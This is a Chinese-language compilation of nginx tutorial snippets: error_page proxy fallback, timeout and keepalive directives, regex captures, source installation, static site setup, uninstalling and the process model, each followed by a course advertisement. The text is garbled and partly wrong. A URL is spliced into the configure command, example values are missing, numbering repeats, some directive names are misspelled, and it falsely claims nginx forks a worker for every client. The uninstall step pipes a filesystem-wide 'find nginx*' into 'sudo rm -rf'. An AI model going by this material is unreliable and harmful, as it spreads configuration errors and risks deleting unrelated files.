以下配置是在未找到文件时将请求传递给后端的示例。 因为在error_page指令的等号之后没有指定状态代码,所以对客户机的响应具有代理服务器返回的状态代码(不一定是404)。 server { ... location /images/ { # Set the root directory to search for the file root /data/www; # Disable logging of errors related to file existence open_file_cache_errors off; # Make an internal redirect if the file is not found error_page 404 = /fetch$uri; } location /fetch/ { proxy_pass http://backend/; }} 当没有找到文件时,指令指示NGINX进行内部重定向。指令的最终参数中的$uri变量保存当前请求的URI,该URI在重定向中被传递。 例如,如果没有找到,它将被替换为,并且新的搜索位置(location)开始。最后请求最终在第二个location上下文中,并被代理到。 如果没有找到文件,则指令可防止写入错误消息。 因为丢失的文件可被正确地处理,但这不是必需的。 以上就是Nginx Web服务器配置块有哪些?的知识。速戳>>知识兔学习精品课! Nginx网络连接配置项有:1、读取HTTP头部的超时时间;2、读取HTTP包体的超时时间;3、发送响应的超时时间;4、重置超时连接选项。 Nginx网络连接配置项有: 1、读取HTTP头部的超时时间 语法: client_header_timeout time(默认单位:秒); 默认: client_header_timeout 60; 配置块: 客户端与服务器建立连接后将开始接收HTTP头部,在这个过程中,如果在一个时间间隔(超时时间)内没有读取到客户端发来的字节,则认为超时,并向客户端返回408 ("Request timed out")响应。 推荐教程:nginx快速入门教程 2、读取HTTP包体的超时时间 语法: client_body_timeout time(默认单位:秒); 默认: client_body_timeout 60; 配置块: 此配置项与client_header_timeout相似,只是这个超时时间只在读取HTTP包体时才有效。 3、发送响应的超时时间 语法: send_timeout time; 默认: send_timeout 60; 配置块: 这个超时时间是发送响应的超时时间,即Nginx服务器向客户端发送了数据包,但客户端一直没有去接收这个数据包。如果某个连接超过send_timeout定义的超时时间,那么Nginx将会关闭这个连接。 4、 重置超时连接选项 语法: reset_timeout_connection on | off; 默认: reset_timeout_connection off; 配置块: 连接超时后将通过向客户端发送RST包来直接重置连接。这个选项打开后,Nginx会在某个连接超时后,不是使用正常情形下的四次握手关闭TCP连接,而是直接向用户发送RST重置包,不再等待用户的应答,直接释放Nginx服务器上关于这个套接字使用的所有缓存(如TCP滑动窗口)。相比正常的关闭方式,它使得服务器避免产生许多处于FIN_WAIT_1、FIN_WAIT_2、TIME_WAIT状态的TCP连接。 注意,使用RST重置包关闭连接会带来一些问题,默认情况下不会开启。 5、 语法: lingering_close off | on | always; 默认: lingering_close on; 配置块: 该配置控制Nginx关闭用户连接的方式。always表示关闭用户连接前必须无条件地处理连接上所有用户发送的数据。off表示关闭连接时完全不管连接上是否已经有准备就绪的来自用户的数据。on是中间值,一般情况下在关闭连接前都会处理连接上的用户发送的数据,除了有些情况下在业务上认定这之后的数据是不必要的。 6、 语法: lingering_time time; 默认: lingering_time 30s; 配置块: lingering_close启用后,这个配置项对于上传大文件很有用。上文讲过,当用户请求的Content-Length大于max_client_body_size配置时,Nginx服务会立刻向用户发送413(Request entity too large)响应。但是,很多客户端可能不管413返回值,仍然持续不断地上传HTTP body,这时,经过了lingering_time设置的时间后,Nginx将不管用户是否仍在上传,都会把连接关闭掉。 7、 语法: lingering_timeout time; 默认: lingering_timeout 5s; 配置块: lingering_close生效后,在关闭连接前,会检测是否有用户发送的数据到达服务器,如果超过lingering_timeout时间后还没有数据可读,就直接关闭连接;否则,必须在读取完连接缓冲区上的数据并丢弃掉后才会关闭连接。 8、对某些浏览器禁用keepalive功能 语法: keepalive_disable [ msie6 | safari | none ]... 默认: keepalive_disable msie6 safari 配置块: HTTP请求中的keepalive功能是为了让多个请求复用一个HTTP长连接,这个功能对服务器的性能提高是很有帮助的。但有些浏览器,如IE 6和Safari,它们对于使用keepalive功能的POST请求处理有功能性问题。因此,针对IE 6及其早期版本、Safari浏览器默认是禁用keepalive功能的。 8、 超时时间 语法: keepalive_timeout time(默认单位:秒); 默认: keepalive_timeout 75; 配置块: 一个keepalive 连接在闲置超过一定时间后(默认的是75秒),服务器和浏览器都会去关闭这个连接。当然,keepalive_timeout配置项是用来约束Nginx服务器的,Nginx也会按照规范把这个时间传给浏览器,但每个浏览器对待keepalive的策略有可能是不同的。 10、一个长连接上允许承载的请求最大数 语法: keepalive_requests n; 默认: keepalive_requests 100; 配置块: 一个keepalive连接上默认最多只能发送100个请求。 11、 语法: tcp_nodelay on | off; 默认: tcp_nodelay on; 配置块: 确定对keepalive连接是否使用TCP_NODELAY选项。 语法: tcp_nopush on | off; 默认: tcp_nopush off; 配置块: 在打开sendfile选项时,确定是否开启FreeBSD系统上的或Linux系统上的TCP_CORK功能。打开tcp_nopush后,将会在发送响应时把整个响应包头放到一个TCP包中发送。 以上就是Nginx网络连接配置项有哪些?的知识。速戳>>知识兔学习精品课! Nginx中,set $para $1,$1表示路径中正则表达式匹配的第一个参数。 (推荐学习:nginx教程) 以下是一个示例,用以实验$1,$2。如: location ~/abc/(.*)/(.*) { set $para1 $1 set $para2 $2 content_by_lua_block { ngx.say(ngx.var.para1) ngx.say(ngx.var.para2) } } 此时,若访问路径为localhost:8080/abc/qwe/asd时,则浏览器会输出。 qweasd 以上就是nginx中的$1、$2、$3分别代表什么?的知识。速戳>>知识兔学习精品课! 首先nginx是通过基于异步及非阻塞的事件驱动模型和多进程机制实现高性能的。 (推荐学习:nginx教程) 那么使用多进程有什么好处呢? 1、进程之间不共享资源,不需要加锁,减少了使用锁对性能造成的影响,同时降低编程的复杂度,降低开发成本; 2、采用独立的进程,可以让进程互相之间不会影响,如果一个进程发生异常退出时,其它进程正常工作,master 进程则很快启动新的worker 进程,确保服务不会中断,从而将风险降到最低。 以上就是nginx使用多进程有什么好处的知识。速戳>>知识兔学习精品课! 配置项默认用途配置块limit_except method ...{...}按 HTTP 方法名限制用户请求locationclient_max_body_size size;1mHTTP 请求包体的最大值http、server、locationlimit_rate speed;0对请求的限速http、server、locationlimit_rate_after time;1m发送响应长度超过1m后限速http、server、location nginx安装依赖包 (推荐学习:nginx教程) nginx安装依赖GCC、openssl-devel、pcre-devel和zlib-devel软件库。 Pcre全称(Perl Compatible Regular Expressions),中文perl兼容正则表达式,pcre官方站点。 yum install pcre pcre-devel -y yum install openssl openssl-devel -y 编译命令 tar -zxf nginx-1.10.1.tar.gz cd nginx-1.10.1/https://xiaotua.com/103/configure --prefix=/data/nginx-1.10.1 --user=nginx --group=nginx --with-http_ssl_module --with-http_stub_status_moduleuseradd nginx -M -s /sbin/nologin make && make install ln -s /data/nginx-1.10.1 /data/nginx 测试nginx配置文件是否正常 /data/nginx/sbin/nginx -t nginx: the configuration file /data/nginx-1.10.1/conf/nginx.conf syntax is oknginx: configuration file /data/nginx-1.10.1/conf/nginx.conf test is successful 启动nginx服务器 /data/nginx/sbin/nginx -t ##检查配置文件/data/nginx/sbin/nginx ##确定nginx服务netstat -lntup |grep nginx ## 检查进程是否正常curl http://localhost ## 确认结果 以上就是nginx安装依赖包的知识。速戳>>知识兔学习精品课! 搭建静态站点 (推荐教程:nginx教程) 配置如下: # 虚拟主机server块server { # 端口 listen 8080; # 匹配请求中的host值 server_name localhost; # 监听请求路径 location / { # 查找目录 root /source; # 默认查找 index index.html index.htm; }} 相关字段 server 配置虚拟主机的相关参数,可以有多个 server_name 通过请求中的host值,找到对应的虚拟主机的配置 location 配置请求路由,处理相关页面情况 root 查找资源的路径 配置完成后执行 命令,查看是否有错误,如果出现如下提示,就表示成功了。 nginx: the configuration file /etc/nginx/nginx.conf syntax is oknginx: configuration file /etc/nginx/nginx.conf test is successful 然后执行 命令更新Nginx配置文件 这时候打开浏览器 输入 应该就能看到你的页面了 nginx -t 检查配置文件是否有语法错误 nginx -s reload 向主进程发送信号,重新加载配置文件 nginx -s stop 快速关闭 nginx -s quit 等待工作进程处理完成后关闭 以上就是如何搭建静态站点的知识。速戳>>知识兔学习精品课! 问题还原: (推荐学习:nginx教程) 执行nginx stop命令时,出现如下错误: 解决方法: 1、打开环境变量所在的文件: vim /etc/profile 2、在profile文件末尾,加上如下内容 #指向你的nginx的安装位置的 sbin 目录PATH=$PATH:/usr/local/nginx/sbin 3、重新加载环境 source /etc/profile 问题解决。 以上就是如何解决nginx:未找到命令问题的知识。速戳>>知识兔学习精品课! 具体方法: (推荐教程:nginx教程) 1、输入以下指令全局查找nginx相关的文件: sudo find / -name nginx* 2、删除查找出来的所有nginx相关文件 sudo rm -rf file 此处跟查找出来的nginx文件 说明:全局查找往往会查出很多相关文件,但是前缀基本都是相同,后面不同的部分可以用*代替,以便快速删除~ 举例说明: sudo rm -rf file /usr/local/nginx* 以上就是如何完全卸载nginx的知识。速戳>>知识兔学习精品课! 具体方法如下: (推荐学习:nginx教程) 1、打开Nginx的配置文件nginx.conf 2、修改默认端口即可(nginx默认的端口为80),如图: 以上就是如何修改nginx服务的默认端口的知识。速戳>>知识兔学习精品课! Nginx 是一个高性能的 Web 服务器,能够同时处理大量的并发请求。它结合多进程机制和异步机制 ,异步机制使用的是异步非阻塞方式 。 (推荐教程:nginx教程) 下面为大家介绍一下 Nginx 的多线程机制和异步非阻塞机制 。 1、多进程机制 服务器每当收到一个客户端时,就有 服务器主进程 ( master process )生成一个 子进程( worker process )出来和客户端建立连接进行交互,直到连接断开,该子进程就结束了。 使用进程的好处是各个进程之间相互独立,不需要加锁,减少了使用锁对性能造成的影响,同时降低了编程的复杂度和开发成本。 其次,采用独立的进程,可以让进程互相之间不会影响 ,如果一个进程发生异常退出时,其它进程正常工作, master 进程则很快启动新的 worker 进程,确保服务不会中断,从而将风险降到最低。 缺点: 操作系统生成一个子进程需要进行 内存复制等操作,在资源和时间上会产生一定的开销。当有大量请求时,会导致系统性能下降 。 2、异步非阻塞机制 每个工作进程 使用 异步非阻塞方式 ,可以处理多个客户端请求 。 当某个 工作进程 接收到客户端的请求以后,调用 IO 进行处理,如果不能立即得到结果,就去 处理其他请求 (即为 非阻塞 );而 客户端 在此期间也 无需等待响应 ,可以去处理其他事情(即为 异步 )。 当 IO 返回时,就会通知此 工作进程 ;该进程得到通知,暂时 挂起 当前处理的事务去 响应客户端请求 。 以上就是Nginx是如何处理HTTP请求的的知识。速戳>>知识兔学习精品课!